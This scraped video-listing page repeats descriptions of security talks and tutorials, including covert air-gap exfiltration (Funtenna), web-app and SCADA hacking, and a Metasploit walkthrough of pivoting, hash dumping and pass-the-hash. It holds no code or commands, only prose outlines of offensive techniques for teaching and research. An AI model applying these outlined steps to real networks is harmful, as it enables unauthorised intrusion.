Funtenna is a software-only technique which causes intentional compromising emanation in a wide spectrum of modern computing hardware for the purpose of covert, reliable data exfiltration through secured and air-gapped networks. We present a generalized Funtenna technique that reliably encodes and emanates arbitrary data across wide portions of the electromagnetic spectrum, ranging from the sub-acoustic to RF and beyond.
The Funtenna technique is hardware agnostic, can operate within nearly all modern computer systems and embedded devices, and is specifically intended to operate within hardware not designed to to act as RF transmitters.
We believe that Funtenna is an advancement of current state-of-the-art covert wireless exfiltration technologies. Specifically, Funtenna offers comparable exfiltration capabilities to RF-based retro-reflectors, but can be realized without the need for physical implantation and illumination.
We first present a brief survey of the history of compromising emanation research, followed by a discussion of the theoretical mechanisms of Funtenna and intentionally induced compromising emanation in general. Lastly, we demonstrate implementations of Funtenna as small software implants within several ubiquitous embedded devices, such as VoIP phones and printers, and in common computer peripherals, such as hard disks, console ports, network interface cards and more.

published:28 Dec 2015

views:2126

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'State of Surveillance' with Edward Snowden and Shane Smith (VICE on HBO: Season 4, Episode 13)

When NSA whistleblower Edward Snowden leaked details of massive government surveillance programs in 2013, he ignited a raging debate over digital privacy and se...

When NSA whistleblower Edward Snowden leaked details of massive government surveillance programs in 2013, he ignited a raging debate over digital privacy and security. That debate came to a head this year, when Apple refused an FBI court order to access the iPhone of alleged San BernardinoTerroristSyed Farook. Meanwhile, journalists and activists are under increasing attack from foreign agents. To find out the government's real capabilities, and whether any of us can truly protect our sensitive information, VICE founder Shane Smith heads to Moscow to meet the man who started the conversation, Edward Snowden.
VICE on HBOSeason 1: http://bit.ly/1BAQdq5
VICE on HBO Season 2:http://bit.ly/1LBL8y6
VICE on HBO Season 3:http://bit.ly/1XaNpct
Check out VICE News' continuing coverage of Edward Snowden and the surveillance debate:
SnowdenClaims 'Deceptive' NSA Still Has Proof He Tried to RaiseSurveillance Concerns: http://bit.ly/25MqUfD
Exclusive: Snowden Tried to Tell NSA About Surveillance Concerns, Documents Reveal: http://bit.ly/1TVVkog
Click here to subscribe to VICE: http://bit.ly/Subscribe-to-VICE
Check out our full video catalog: http://bit.ly/VICE-Videos
Videos, daily editorial and more: http://vice.com
More videos from the VICE network: https://www.fb.com/vicevideo
Like VICE on Facebook: http://fb.com/vice
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When NSA whistleblower Edward Snowden leaked details of massive government surveillance programs in 2013, he ignited a raging debate over digital privacy and security. That debate came to a head this year, when Apple refused an FBI court order to access the iPhone of alleged San BernardinoTerroristSyed Farook. Meanwhile, journalists and activists are under increasing attack from foreign agents. To find out the government's real capabilities, and whether any of us can truly protect our sensitive information, VICE founder Shane Smith heads to Moscow to meet the man who started the conversation, Edward Snowden.
VICE on HBOSeason 1: http://bit.ly/1BAQdq5
VICE on HBO Season 2:http://bit.ly/1LBL8y6
VICE on HBO Season 3:http://bit.ly/1XaNpct
Check out VICE News' continuing coverage of Edward Snowden and the surveillance debate:
SnowdenClaims 'Deceptive' NSA Still Has Proof He Tried to RaiseSurveillance Concerns: http://bit.ly/25MqUfD
Exclusive: Snowden Tried to Tell NSA About Surveillance Concerns, Documents Reveal: http://bit.ly/1TVVkog
Click here to subscribe to VICE: http://bit.ly/Subscribe-to-VICE
Check out our full video catalog: http://bit.ly/VICE-Videos
Videos, daily editorial and more: http://vice.com
More videos from the VICE network: https://www.fb.com/vicevideo
Like VICE on Facebook: http://fb.com/vice
Follow VICE on Twitter: http://twitter.com/vice
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DEF CON 23 - Brent White - Hacking Web Apps

Assessing the security posture of a web application is a common project for a penetration tester and a good skill for developers to know. In this talk, I'll go ...

Assessing the security posture of a web application is a common project for a penetration tester and a good skill for developers to know. In this talk, I'll go over the different stages of a web application pen test, from start to finish. We'll start with the discovery phase to utilize OSINT sources such as search engines, sub-domain brute-forcing and other methods to help you get a good idea of targets "footprint", all the way to fuzzing parameters to find potential SQL injection vulnerabilities. I'll also discuss several of the tools and some techniques that I use to conduct a full application penetration assessment. After this talk, you should have a good understanding of what is needed as well as where to start on your journey to hacking web apps.
Speaker Bio:
Brent is an OffensiveSecurity Consultant at Solutionary NTTGroup Security Company and has spoken at numerous security conferences, including DEF CON 22‹SE Village. He has held the role of Web/Project Manager and IT SecurityDirector at the headquarters of a global franchise company. His experience includes Internal and ExternalPenetration Assessments, Social Engineering and Physical Security Assessments, Wireless and ApplicationVulnerability Assessments and more.
Twitter: @BrentWDesign

Assessing the security posture of a web application is a common project for a penetration tester and a good skill for developers to know. In this talk, I'll go over the different stages of a web application pen test, from start to finish. We'll start with the discovery phase to utilize OSINT sources such as search engines, sub-domain brute-forcing and other methods to help you get a good idea of targets "footprint", all the way to fuzzing parameters to find potential SQL injection vulnerabilities. I'll also discuss several of the tools and some techniques that I use to conduct a full application penetration assessment. After this talk, you should have a good understanding of what is needed as well as where to start on your journey to hacking web apps.
Speaker Bio:
Brent is an OffensiveSecurity Consultant at Solutionary NTTGroup Security Company and has spoken at numerous security conferences, including DEF CON 22‹SE Village. He has held the role of Web/Project Manager and IT SecurityDirector at the headquarters of a global franchise company. His experience includes Internal and ExternalPenetration Assessments, Social Engineering and Physical Security Assessments, Wireless and ApplicationVulnerability Assessments and more.
Twitter: @BrentWDesign

InfoLevel: Beginner
Presenter: Eli the Computer Guy
Date Created: April 19, 2013Length of Class: 24:05
Research Assistance: Nullset Computer Co (http://nullsetcomputerco.com/)
TracksHacking
Prerequisites
NonePurpose of Class
This class gives students an overview as to why Metasploit is an important tool for Penetration Testing and Hacking.
Class Notes
Metasploit is a Framework vs. being a purpose built application. You can build your own tools using it much like you can build new toys with Legos.
Versions for Linux and Windows (And of course is included with Backtrack 5)
Disable AntiVirus and FirewallSoftware before using Metasploit
Metasploit Terms
Exploit - The way an attacker uses a systems vulnerability
Payload -- Code that is going to be run on attacked system
Shellcode -- payload code that provides an attacker with a Shellinterface for compromised system
Module -- A "plugin" for Metasploit to perform specific tasks
Listener -- A component that listens for incoming connections
Interfaces
MSFconsole -- Console environment where you give commands to Metasploit interactively
MSFcli -- Allows you to run Metasploit directly from the command line. This is used to create scripts that call Metasploit to perform specific actions
Armitage -- Free graphical user interface
Metasploit Express and Pro -- Commercial Interfaces that make working with Metasploit more user friendly
You can store collected data into built in Database
PostgreSQL Database created during installation
Corrections
Lab SetupUsed in DemonstrationN/AStudy Guides
Metasploit the Penetration Tester's Guide (ISBN: 978-1-59327-288-3)
Pages 7-11, 14, 20-21
Resources
http://www.metasploit.com/
http://www.elithecomputerguy.com/2013/02/08/introduction-to-metasploit-the-basics/

InfoLevel: Beginner
Presenter: Eli the Computer Guy
Date Created: April 19, 2013Length of Class: 24:05
Research Assistance: Nullset Computer Co (http://nullsetcomputerco.com/)
TracksHacking
Prerequisites
NonePurpose of Class
This class gives students an overview as to why Metasploit is an important tool for Penetration Testing and Hacking.
Class Notes
Metasploit is a Framework vs. being a purpose built application. You can build your own tools using it much like you can build new toys with Legos.
Versions for Linux and Windows (And of course is included with Backtrack 5)
Disable AntiVirus and FirewallSoftware before using Metasploit
Metasploit Terms
Exploit - The way an attacker uses a systems vulnerability
Payload -- Code that is going to be run on attacked system
Shellcode -- payload code that provides an attacker with a Shellinterface for compromised system
Module -- A "plugin" for Metasploit to perform specific tasks
Listener -- A component that listens for incoming connections
Interfaces
MSFconsole -- Console environment where you give commands to Metasploit interactively
MSFcli -- Allows you to run Metasploit directly from the command line. This is used to create scripts that call Metasploit to perform specific actions
Armitage -- Free graphical user interface
Metasploit Express and Pro -- Commercial Interfaces that make working with Metasploit more user friendly
You can store collected data into built in Database
PostgreSQL Database created during installation
Corrections
Lab SetupUsed in DemonstrationN/AStudy Guides
Metasploit the Penetration Tester's Guide (ISBN: 978-1-59327-288-3)
Pages 7-11, 14, 20-21
Resources
http://www.metasploit.com/
http://www.elithecomputerguy.com/2013/02/08/introduction-to-metasploit-the-basics/

Security has gone from a curiosity to a phenomenon in the last decade. Fortunately for us, despite the rise of memory-safe, interpreted, lame languages, the sec...

Security has gone from a curiosity to a phenomenon in the last decade. Fortunately for us, despite the rise of memory-safe, interpreted, lame languages, the security of binaries is as relevant as ever. On top of that, (computer security) Capture the Flag competitions have skyrocketed in popularity, with new and exciting binaries on offer for hacking every weekend.
This all sounds great, and it is. Unfortunately, the more time goes by, the older we get, and the more our skills fade. Whereas we were happy to stare at objdump a decade ago, today, we find the menial parts of reversing and pwning more and more tiring and more and more difficult. Worse, while security analysis tools have been evolving to make life easier for us hackers, the core tools that we use (like IDA Pro) have remained mostly stagnant. And on top of that, the term "binaries" have expanded to regularly include ARM, MIPS, PPC, MSP430, and every other crazy architecture you can think of, rather than the nice, comfortable x86 of yesteryear.
New tools are required, and we're here to deliver. Over the last two years, we have been working on a next-generation binary analysis framework in an attempt to turn back the tide and reduce our mounting noobness. The result is called angr.
angr assists in binary analysis by providing extremely powerful, state-of-the-art analyses, and making them as straightforward to use as possible. Ever wanted to know *what freaking value* some variable could take on in a function (say, can the target of a computed write point to the return address)? angr can tell you! Want to know what input you need to trigger a certain code path and export a flag? Ask angr! In the talk, we'll cover three of the analyses that angr provides: a powerful static analysis engine (able to, among other things, automatically identify potential memory corruption in binaries through the use of Value-Set Analysis), its symbolic execution engine, and dynamic emulation of various architectures (*super* useful for debugging shellcode).
On top of that, angr is designed to make the life of a hacker as easy as possible -- for example, the whole system is 98% Python, and is designed to be a breeze to interact with through iPython. Plus, it comes with a niftyGUI with nice visualizations for symbolically exploring a program, tracking differences between different program paths, and understanding value ranges of variables and registers. Finally, angr is designed to be easily extensible and embeddable in other applications. We'll show off a semantic-aware ROP gadget finder ("are there any gadgets that write to a positive offset of rax but don't clobber rbx" or "given this program state, what are the gadgets that won't cause a segfault") and a binary diffing engine, both built on angr.
We've used angr to solve CTF binaries, analyze embedded devices, debug shellcode, and even dabble in the DARPACyber Grand Challenge. We'll talk about our experiences with all of that and will release angr to the world, hopefully revolutionizing binary analysis and making everyone ANGRY!
Speaker Bios:
Yan and Fish are two members of Shellphish, a pretty badass hacking team famous for low SLA and getting the freaking exploit JUST A FREAKING MINUTE LATE. Their secret identities are those of PhD students in the security lab of UC Santa Barbara. When they're not CTFing or surfing, they're doing next-generation (what does that even mean?) security research. Their works have been published in numerous academic venues. For example, in 2013, they created an automatic tool, called MovieStealer, a tool to automatically break the DRM of streaming media services [1]. After taking 2014 to work on angr, in 2015, they followed this up with an analysis of backdoors in embedded devices [2].
Now, they've set their sights on helping the world analyze binaries faster, better, stronger, by revolutionizing the analysis tool landscape!
[1] https://www.usenix.org/conference/usenixsecurity13/technical-sessions/paper/wang_ruoyu
[2] http://www.internetsociety.org/doc/firmalice-automatic-detection-authentication-bypass-vulnerabilities-binary-firmware
Twitter: @zardus

Security has gone from a curiosity to a phenomenon in the last decade. Fortunately for us, despite the rise of memory-safe, interpreted, lame languages, the security of binaries is as relevant as ever. On top of that, (computer security) Capture the Flag competitions have skyrocketed in popularity, with new and exciting binaries on offer for hacking every weekend.
This all sounds great, and it is. Unfortunately, the more time goes by, the older we get, and the more our skills fade. Whereas we were happy to stare at objdump a decade ago, today, we find the menial parts of reversing and pwning more and more tiring and more and more difficult. Worse, while security analysis tools have been evolving to make life easier for us hackers, the core tools that we use (like IDA Pro) have remained mostly stagnant. And on top of that, the term "binaries" have expanded to regularly include ARM, MIPS, PPC, MSP430, and every other crazy architecture you can think of, rather than the nice, comfortable x86 of yesteryear.
New tools are required, and we're here to deliver. Over the last two years, we have been working on a next-generation binary analysis framework in an attempt to turn back the tide and reduce our mounting noobness. The result is called angr.
angr assists in binary analysis by providing extremely powerful, state-of-the-art analyses, and making them as straightforward to use as possible. Ever wanted to know *what freaking value* some variable could take on in a function (say, can the target of a computed write point to the return address)? angr can tell you! Want to know what input you need to trigger a certain code path and export a flag? Ask angr! In the talk, we'll cover three of the analyses that angr provides: a powerful static analysis engine (able to, among other things, automatically identify potential memory corruption in binaries through the use of Value-Set Analysis), its symbolic execution engine, and dynamic emulation of various architectures (*super* useful for debugging shellcode).
On top of that, angr is designed to make the life of a hacker as easy as possible -- for example, the whole system is 98% Python, and is designed to be a breeze to interact with through iPython. Plus, it comes with a niftyGUI with nice visualizations for symbolically exploring a program, tracking differences between different program paths, and understanding value ranges of variables and registers. Finally, angr is designed to be easily extensible and embeddable in other applications. We'll show off a semantic-aware ROP gadget finder ("are there any gadgets that write to a positive offset of rax but don't clobber rbx" or "given this program state, what are the gadgets that won't cause a segfault") and a binary diffing engine, both built on angr.
We've used angr to solve CTF binaries, analyze embedded devices, debug shellcode, and even dabble in the DARPACyber Grand Challenge. We'll talk about our experiences with all of that and will release angr to the world, hopefully revolutionizing binary analysis and making everyone ANGRY!
Speaker Bios:
Yan and Fish are two members of Shellphish, a pretty badass hacking team famous for low SLA and getting the freaking exploit JUST A FREAKING MINUTE LATE. Their secret identities are those of PhD students in the security lab of UC Santa Barbara. When they're not CTFing or surfing, they're doing next-generation (what does that even mean?) security research. Their works have been published in numerous academic venues. For example, in 2013, they created an automatic tool, called MovieStealer, a tool to automatically break the DRM of streaming media services [1]. After taking 2014 to work on angr, in 2015, they followed this up with an analysis of backdoors in embedded devices [2].
Now, they've set their sights on helping the world analyze binaries faster, better, stronger, by revolutionizing the analysis tool landscape!
[1] https://www.usenix.org/conference/usenixsecurity13/technical-sessions/paper/wang_ruoyu
[2] http://www.internetsociety.org/doc/firmalice-automatic-detection-authentication-bypass-vulnerabilities-binary-firmware
Twitter: @zardus

Want to get started on a hunt team and discover "bad things" on your network?
In this webcast, we will walk through the installation and usage of RealIntelli...

Want to get started on a hunt team and discover "bad things" on your network?
In this webcast, we will walk through the installation and usage of Real IntelligenceThreat Analytics (RITA). RITA is an open-source framework from the folks at Black HillsInformation Security and Offensive CounterMeasures. RITA ingests Bro logs and seeks out malicious payload beaconing and scanning behavior. It also determines which systems in your environment are talking with known bad IP addresses and domains. In less than an hour, you will learn how to collect and analyze network traffic for hunt teaming analysis.
We will also provide some sample Bro logs for you to play with and give RITA a test drive. Want to use your own Bro logs? Great! Just make sure your logs come from an egress pre-NAT point where we can see the internal RFC 1918 IP addresses talking to external IP addresses.
We'll cover the different types of math used in our analysis, including:
- Connection intervals
- Data sizes
- Connection times
As a bonus, our sponsor, LogRhythm, will be showing off a completely free network monitoring tool called Network Monitor Freemium — a free tool for network monitoring, application detection, and detecting suspicious network activity (including lateral movement)!
RITA webpage: http://www.blackhillsinfosec.com/?page_id=4417

Want to get started on a hunt team and discover "bad things" on your network?
In this webcast, we will walk through the installation and usage of Real IntelligenceThreat Analytics (RITA). RITA is an open-source framework from the folks at Black HillsInformation Security and Offensive CounterMeasures. RITA ingests Bro logs and seeks out malicious payload beaconing and scanning behavior. It also determines which systems in your environment are talking with known bad IP addresses and domains. In less than an hour, you will learn how to collect and analyze network traffic for hunt teaming analysis.
We will also provide some sample Bro logs for you to play with and give RITA a test drive. Want to use your own Bro logs? Great! Just make sure your logs come from an egress pre-NAT point where we can see the internal RFC 1918 IP addresses talking to external IP addresses.
We'll cover the different types of math used in our analysis, including:
- Connection intervals
- Data sizes
- Connection times
As a bonus, our sponsor, LogRhythm, will be showing off a completely free network monitoring tool called Network Monitor Freemium — a free tool for network monitoring, application detection, and detecting suspicious network activity (including lateral movement)!
RITA webpage: http://www.blackhillsinfosec.com/?page_id=4417

In this talk, we will discuss Android's attack surface reduction history, and how that fits into the broader Android security story. We will go into detail on t...

In this talk, we will discuss Android's attack surface reduction history, and how that fits into the broader Android security story. We will go into detail on the specific technical strategies used to achieve the attack surface reduction, and explore specific bugs which were made unreachable as a result of the hardening over the last several years. And we will examine the overall result of the hardening, and areas for improvement.
By Nick Kralevich
Full Abstract & Presentation Materials:
https://www.blackhat.com/us-17/briefings.html#honey-i-shrunk-the-attack-surface-%E2%80%93-adventures-in-android-security-hardening

In this talk, we will discuss Android's attack surface reduction history, and how that fits into the broader Android security story. We will go into detail on the specific technical strategies used to achieve the attack surface reduction, and explore specific bugs which were made unreachable as a result of the hardening over the last several years. And we will examine the overall result of the hardening, and areas for improvement.
By Nick Kralevich
Full Abstract & Presentation Materials:
https://www.blackhat.com/us-17/briefings.html#honey-i-shrunk-the-attack-surface-%E2%80%93-adventures-in-android-security-hardening

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Presented By: Sergey Shekyan and Vaagn Toukharian
HTML5 isn't just for watching videos on your iPad. Its features may be the target of a security attack as much as they may be used to improve an attack. Vulnerabilities like XSS have been around since the web's beginning, but exploiting them has become increasingly sophisticated. HTML5 features like WebSockets are part of the framework for controlling browsers compromised by XSS.
This presentation provides an overview of WebSockets. How they might increase the attack surface of a web site, their implications for privacy, and the potential security problems with protocols tunneled over them. Then it demonstrates how WebSockets can be used as an effective part of a hacking framework.
It closes with recommendations for deploying WebSockets securely, applying security principles to web app design, and providing a tool for exploring WebSockets security.
Slides: http://media.blackhat.com/bh-us-12/Briefings/Shekyan/BH_US_12_Shekyan_Toukharian_Hacking_Websocket_Slides.pdfHave a video request? Let me know: https://www.youtube.com/user/GarrettFogerlie/discussion

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Presented By: Sergey Shekyan and Vaagn Toukharian
HTML5 isn't just for watching videos on your iPad. Its features may be the target of a security attack as much as they may be used to improve an attack. Vulnerabilities like XSS have been around since the web's beginning, but exploiting them has become increasingly sophisticated. HTML5 features like WebSockets are part of the framework for controlling browsers compromised by XSS.
This presentation provides an overview of WebSockets. How they might increase the attack surface of a web site, their implications for privacy, and the potential security problems with protocols tunneled over them. Then it demonstrates how WebSockets can be used as an effective part of a hacking framework.
It closes with recommendations for deploying WebSockets securely, applying security principles to web app design, and providing a tool for exploring WebSockets security.
Slides: http://media.blackhat.com/bh-us-12/Briefings/Shekyan/BH_US_12_Shekyan_Toukharian_Hacking_Websocket_Slides.pdfHave a video request? Let me know: https://www.youtube.com/user/GarrettFogerlie/discussion

Remember that web application you wrote when you where first learning PHP? Ever wonder how vulnerable that code base is? Through the perspective of an attacker ...

Remember that web application you wrote when you where first learning PHP? Ever wonder how vulnerable that code base is? Through the perspective of an attacker you will see how SQL injection can lead to data loss and system compromise. This presentation will take you through the techniques and tools used to take control of a PHP web application starting from an injection point moving to PHP web shells, and ending with a Linux wildcard attack.
Speaker Bio:
Nemus works as a software engineer in the payment industry developing software that transfers money between banking systems. He is a founding member of 801Labs, a hackerspace located in Salt Lake City, and is an active member of his local DEF CON group DC801. Nemus has a BS in Computer Science and is a certified GIACWeb ApplicationPenetration Tester (GWAPT).
Twitter: @Nemus801

Remember that web application you wrote when you where first learning PHP? Ever wonder how vulnerable that code base is? Through the perspective of an attacker you will see how SQL injection can lead to data loss and system compromise. This presentation will take you through the techniques and tools used to take control of a PHP web application starting from an injection point moving to PHP web shells, and ending with a Linux wildcard attack.
Speaker Bio:
Nemus works as a software engineer in the payment industry developing software that transfers money between banking systems. He is a founding member of 801Labs, a hackerspace located in Salt Lake City, and is an active member of his local DEF CON group DC801. Nemus has a BS in Computer Science and is a certified GIACWeb ApplicationPenetration Tester (GWAPT).
Twitter: @Nemus801

For more information, please visit: www.ioactive.com
This 60-minute webinar led by Jason Larsen, PrincipalSecurity Consultant for IOActive, you will learn wh...

For more information, please visit: www.ioactive.com
This 60-minute webinar led by Jason Larsen, PrincipalSecurity Consultant for IOActive, you will learn what hackers do after they break into a process control network.
Hacking into a process control network is only the beginning of an attack on a cyber-physical system. Often breaking into the network is the easy part. Understanding and controlling the process usually takes far more time and expertise. It’s also a deeply overlooked part of a part of a robust defense. There are a number of tasks an attacker must perform in order to be more of a nuisance.
Jason will discuss post-penetration attack methodologies by analyzing a simulated Vinyl Acetate plant and extracting the necessary data to mount an efficient economic attack on the process.

For more information, please visit: www.ioactive.com
This 60-minute webinar led by Jason Larsen, PrincipalSecurity Consultant for IOActive, you will learn what hackers do after they break into a process control network.
Hacking into a process control network is only the beginning of an attack on a cyber-physical system. Often breaking into the network is the easy part. Understanding and controlling the process usually takes far more time and expertise. It’s also a deeply overlooked part of a part of a robust defense. There are a number of tasks an attacker must perform in order to be more of a nuisance.
Jason will discuss post-penetration attack methodologies by analyzing a simulated Vinyl Acetate plant and extracting the necessary data to mount an efficient economic attack on the process.

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How To Remove Malware From Your Website, How To Remove Message "Visiting This Site May HarmYour Computer" How To Remove Eval Malware Code From Your Website, How To Recover A Hack Website, How To BeSafe Your Website For Virus, Remove Virus From Your Wordpress Blog, Wordpress, Google, How To Safe Browsing A Website, Learn How To Hack A Website.

How To Remove Malware From Your Website, How To Remove Message "Visiting This Site May HarmYour Computer" How To Remove Eval Malware Code From Your Website, How To Recover A Hack Website, How To BeSafe Your Website For Virus, Remove Virus From Your Wordpress Blog, Wordpress, Google, How To Safe Browsing A Website, Learn How To Hack A Website.

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How To Remove The GoogleHackedSite (Malware) Warning - Website HackRecovery | WP Learning Lab
In this tutorial you will learn how to remove the warnings that Google puts into their search results when they suspect that your website has been hacked.
This will also remove attack page warnings and malware warnings. None of the above are good for business, so it's important that you remove them as soon as you can.
The first step is to log into your Google Webmaster tools (webmaster.google.com) and find the website that is showing the hacked site warning. There should be a message beside the website that shows Google suspects it of being hacked.
If you don't currently have a Google Webmaster tools account you'll have to create one in order to clear up the hacked site warning.
Click on the URL of your website inside Google Webmaster tools and then click on the SecurityIssues menu item on the left. You will then see a list of the URLs that Google believes may be compromised.
Once they create this list of the URLs they don't come back to the see if things have been fixed. They will wait for you to fix them and then check the I Have Fixed These Issues box. Then you click the red Request A Review button.
A popup will appear where you have to explain to Google what you've done to clear up the hack. Provide a detailed explanation and then click on the blue Request a Review button.
That's all there is to clearing up the site hacked, malware and attack site warnings that may appear in Google when people try to access your website.
It may take several weeks for Google to review and remove the notices, so you have no option but to be patient unfortunately.
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Honey, I Hacked The SCADA! : Industrial CONTROLLED Systems!

James Heyen, Systems Engineer, ViaSat, Inc.Critical Infrastructure Fails: Are We Doomed? - Are our crown-jewel critical infrastructure systems already compromised? What if they do fail? Examine two perspectives on present and future state.
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[In Nepali] Learn Ethical Hacking - Part 7 - Scanning + NMAP Lab

In this video, I will give some theory of Scanning. After that, I will provide a lab demo ...

[In Nepali] Learn Ethical Hacking - Part 7 - Scanning + NMAP Lab

In this video, I will give some theory of Scanning. After that, I will provide a lab demo on Kali Linux Nmap CommandLines.
Slide : https://drive.google.com/open?id=0B2kyu5HKfbtDR1pCbnNTcjlFOTA
This video series is all about Ethical Hacking. So, utilize the knowledge for security purpose and do not perform illegal activities. StaySafe.
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By : Bijay Acharya
Twitter : @acharya_bijay
.Note :
- I used Camtasia for recording (paid version)
- Image Src : I used FreeVersions, for education purpose
- PPT slides : I used Powerpoint2013 (paid version)
- These video can be found in my next youtube channels too, i.e. youtube.com/itsolutionpokhara
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- Software used for demo : Kali Linux and VmWare open source

Wireshark Packet Sniffing Usernames, Passwords, and Web Pages

Subscribe! http://danscourses.com - In this beginner tutorial, I demonstrate capturing packets with Wireshark. Protocols that are analyzed are Telnet, SSH, FTP, and HTTP web traffic. I show how to use Wireshark to discover usernames and passwords as well as rebuilding web page content like JPG and PNG image files.
You can find Wireshark at: http://wireshark.org
You can find PuTTY at: http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html
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Ethical hacking: Footprinting & reconnaissance tutorial | Pluralsight

Ethical hacking: Footprinting & reconnaissance tutorial | http://www.pluralsight.com/courses/ethical-hacking-reconnaissance-footprinting
In this video, Pluralsight author DaleMeredith walks you through footprinting and reconnaissance.
The full course is part 2 of our 20 course Ethical Hacking series. This course starts you at the first phase (out of 5) of hacking. You'll begin the process of probing a system with the intent of attacking and compromising the target. This phase consists of either passively or actively acquiring evidence about a target. The goal is to gather as much data as possible about a would-be target with the goal of getting ample data to make future attacks easier and more directed.
Image this: As an Ethical Hacker, you've been asked to do a "Blackbox" attack on a customer's infrastructure. Your first step is finding out as much as you can about the "target." You accomplish this via reconnaissance/footprinting. This is the initial stage in gaining a blueprint of the security profile of a target, and it is accomplished in an organized manner. Reconnaissance is one of the three "pre-attack phases," and results in a unique profile of an organization's networks and systems. "Reconning" an organization is necessary in order to systematically gather all the related data in regards to the technologies deployed within the network. Reconnaissance can take up to 90% of the time during penetration testing or an actual attack. We'll show you how attackers are currently reconning your company, as well as discuss in detail the steps of reconnaissance. Finally we'll look at some possible countermeasures to help discourage attackers.
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Car Hacking Research: Remote Attack Tesla Motors by Keen Security Lab

With several months of in-depth research on Tesla Cars, we have discovered multiple securi...

Car Hacking Research: Remote Attack Tesla Motors by Keen Security Lab

With several months of in-depth research on TeslaCars, we have discovered multiple security vulnerabilities and successfully implemented remote, aka none physical contact, control on Tesla Model S in both Parking and DrivingMode. It is worth to note that we used an unmodified car with latest firmware to demonstrate the attack.
Following the global industry practice on “responsible disclosure” of product security vulnerabilities, we have reported the technical details of all the vulnerabilities discovered in the research to Tesla. The vulnerabilities have been confirmed by Tesla ProductSecurityTeam.
Keen Security Lab appreciates the proactive attitude and efforts of Tesla Security Team, leading by Chris Evans, on responding our vulnerability report and taking actions to fix the issues efficiently. Keen Security Lab is coordinating with Tesla on issue fixing to ensure the driving safety of Tesla users.
As far as we know, this is the first case of remote attack which compromises CAN Bus to achieve remote controls on Tesla cars. We have verified the attack vector on multiple varieties of Tesla Model S. It is reasonable to assume that other Tesla models are affected. Keen Security Lab would like to send out this reminder to all Tesla car owners:
PLEASE DO UPDATE THE FIRMWARE OF YOUR TESLACAR TO THE LATEST VERSION TO ENSURE THAT THE ISSUES ARE FIXED AND AVOID POTENTIAL DRIVING SAFETYRISKS.
This video demonstrates the impact of our remote attack vector. REMINDER: WHAT YOU ARE ABOUT TO SEE IN THIS VIDEO ARE PERFORMED BY PROFESSIONAL RESEARCHERS, DO NOTTRY THIS AT HOME.

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Learn Cybersecurity: Hack into Windows By Attacking VNC Servers

Virtual Network Computing is widely used across all enterprises by IT administrators to re...

Learn Cybersecurity: Hack into Windows By Attacking VNC Servers

Virtual Network Computing is widely used across all enterprises by IT administrators to remotely manage these computing devices.
What if your VNC has already been compromised by the lack of centralized management across your endpoints and servers?
Learn how to hack YouTube series: https://www.youtube.com/playlist?list=PL0-xwzAwzllx4w5OYdRoVTqlNvQ7xALNM

Hacking NIS Penetration Test Tutorial

In this tutorial I show you how to compromise an NIS installation. If you have a comment or an idea for a tutorial, webinar, or interview please subscribe and leave a comment below :)
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Metasploit Tutorials - Pivoting into Internal Subnets!

In this LAB,
After gaining initial access to an XP SP1 machine with the classic MS08_067_n...

Metasploit Tutorials - Pivoting into Internal Subnets!

In this LAB,
After gaining initial access to an XP SP1 machine with the classic MS08_067_net_api, we dump the hashes out and grab the administrator account.
From here we look at the routing table and find a second NIC connected to this box..
Now we know this machine has a leg in a totally separate network now we want to compromise this box as well.
So lets now add a static Route to tell Metasploit that in order to get to our new Network go via the Session already created.
Now this is done we can run a port scan through Metasploit and see what IP address's are responding to Ports , 137,139 or 445.
These are the standard windows ports open by default.
OK so we have a new IP here to try. Lets now use the hashes we got from the XP box and use them to exploit the SMBService and Gain access to the box.
At this point i forgot to change the Payload to a bind payload, apologies for this...
After making the correct change we are through and now have compromised both machines and have SYSTEM level to both,

[In Nepali] Learn Ethical Hacking - Part 7 - Scanning + NMAP Lab

In this video, I will give some theory of Scanning. After that, I will provide a lab demo on Kali Linux Nmap CommandLines.
Slide : https://drive.google.com/open?id=0B2kyu5HKfbtDR1pCbnNTcjlFOTA
This video series is all about Ethical Hacking. So, utilize the knowledge for security purpose and do not perform illegal activities. StaySafe.
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- I used Camtasia for recording (paid version)
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- Software used for demo : Kali Linux and VmWare open source

43:21

How-to Penetration Testing and Post Exploitation with Armitage and msfconsole

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How-to Penetration Testing and Post Exploitation with Armitage and msfconsole

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In this video we show you the PostExploitation tasks in both Armitage and msfconsole. Setting up Pivots, Meterpreter shells, Reporting, PSEXEC and Pass-The-Hash attacks to compromise other boxes on the network that are otherwise not exploitable and patched.
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Emanate Like A Boss: Generalized Covert Data Exfiltration With Funtenna

by Ang Cui
Funtenna is a software-only technique which causes intentional compromising emanation in a wide spectrum of modern computing hardware for the purpose of covert, reliable data exfiltration through secured and air-gapped networks. We present a generalized Funtenna technique that reliably encodes and emanates arbitrary data across wide portions of the electromagnetic spectrum, ranging from the sub-acoustic to RF and beyond.
The Funtenna technique is hardware agnostic, can operate within nearly all modern computer systems and embedded devices, and is specifically intended to operate within hardware not designed to to act as RF transmitters.
We believe that Funtenna is an advancement of current state-of-the-art covert wireless exfiltration technologies. Specifically, Funtenna offers comparable exfiltration capabilities to RF-based retro-reflectors, but can be realized without the need for physical implantation and illumination.
We first present a brief survey of the history of compromising emanation research, followed by a discussion of the theoretical mechanisms of Funtenna and intentionally induced compromising emanation in general. Lastly, we demonstrate implementations of Funtenna as small software implants within several ubiquitous embedded devices, such as VoIP phones and printers, and in common computer peripherals, such as hard disks, console ports, network interface cards and more.

26:56

'State of Surveillance' with Edward Snowden and Shane Smith (VICE on HBO: Season 4, Episode 13)

'State of Surveillance' with Edward Snowden and Shane Smith (VICE on HBO: Season 4, Episode 13)

When NSA whistleblower Edward Snowden leaked details of massive government surveillance programs in 2013, he ignited a raging debate over digital privacy and security. That debate came to a head this year, when Apple refused an FBI court order to access the iPhone of alleged San BernardinoTerroristSyed Farook. Meanwhile, journalists and activists are under increasing attack from foreign agents. To find out the government's real capabilities, and whether any of us can truly protect our sensitive information, VICE founder Shane Smith heads to Moscow to meet the man who started the conversation, Edward Snowden.
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38:19

DEF CON 23 - Brent White - Hacking Web Apps

Assessing the security posture of a web application is a common project for a penetration ...

DEF CON 23 - Brent White - Hacking Web Apps

Assessing the security posture of a web application is a common project for a penetration tester and a good skill for developers to know. In this talk, I'll go over the different stages of a web application pen test, from start to finish. We'll start with the discovery phase to utilize OSINT sources such as search engines, sub-domain brute-forcing and other methods to help you get a good idea of targets "footprint", all the way to fuzzing parameters to find potential SQL injection vulnerabilities. I'll also discuss several of the tools and some techniques that I use to conduct a full application penetration assessment. After this talk, you should have a good understanding of what is needed as well as where to start on your journey to hacking web apps.
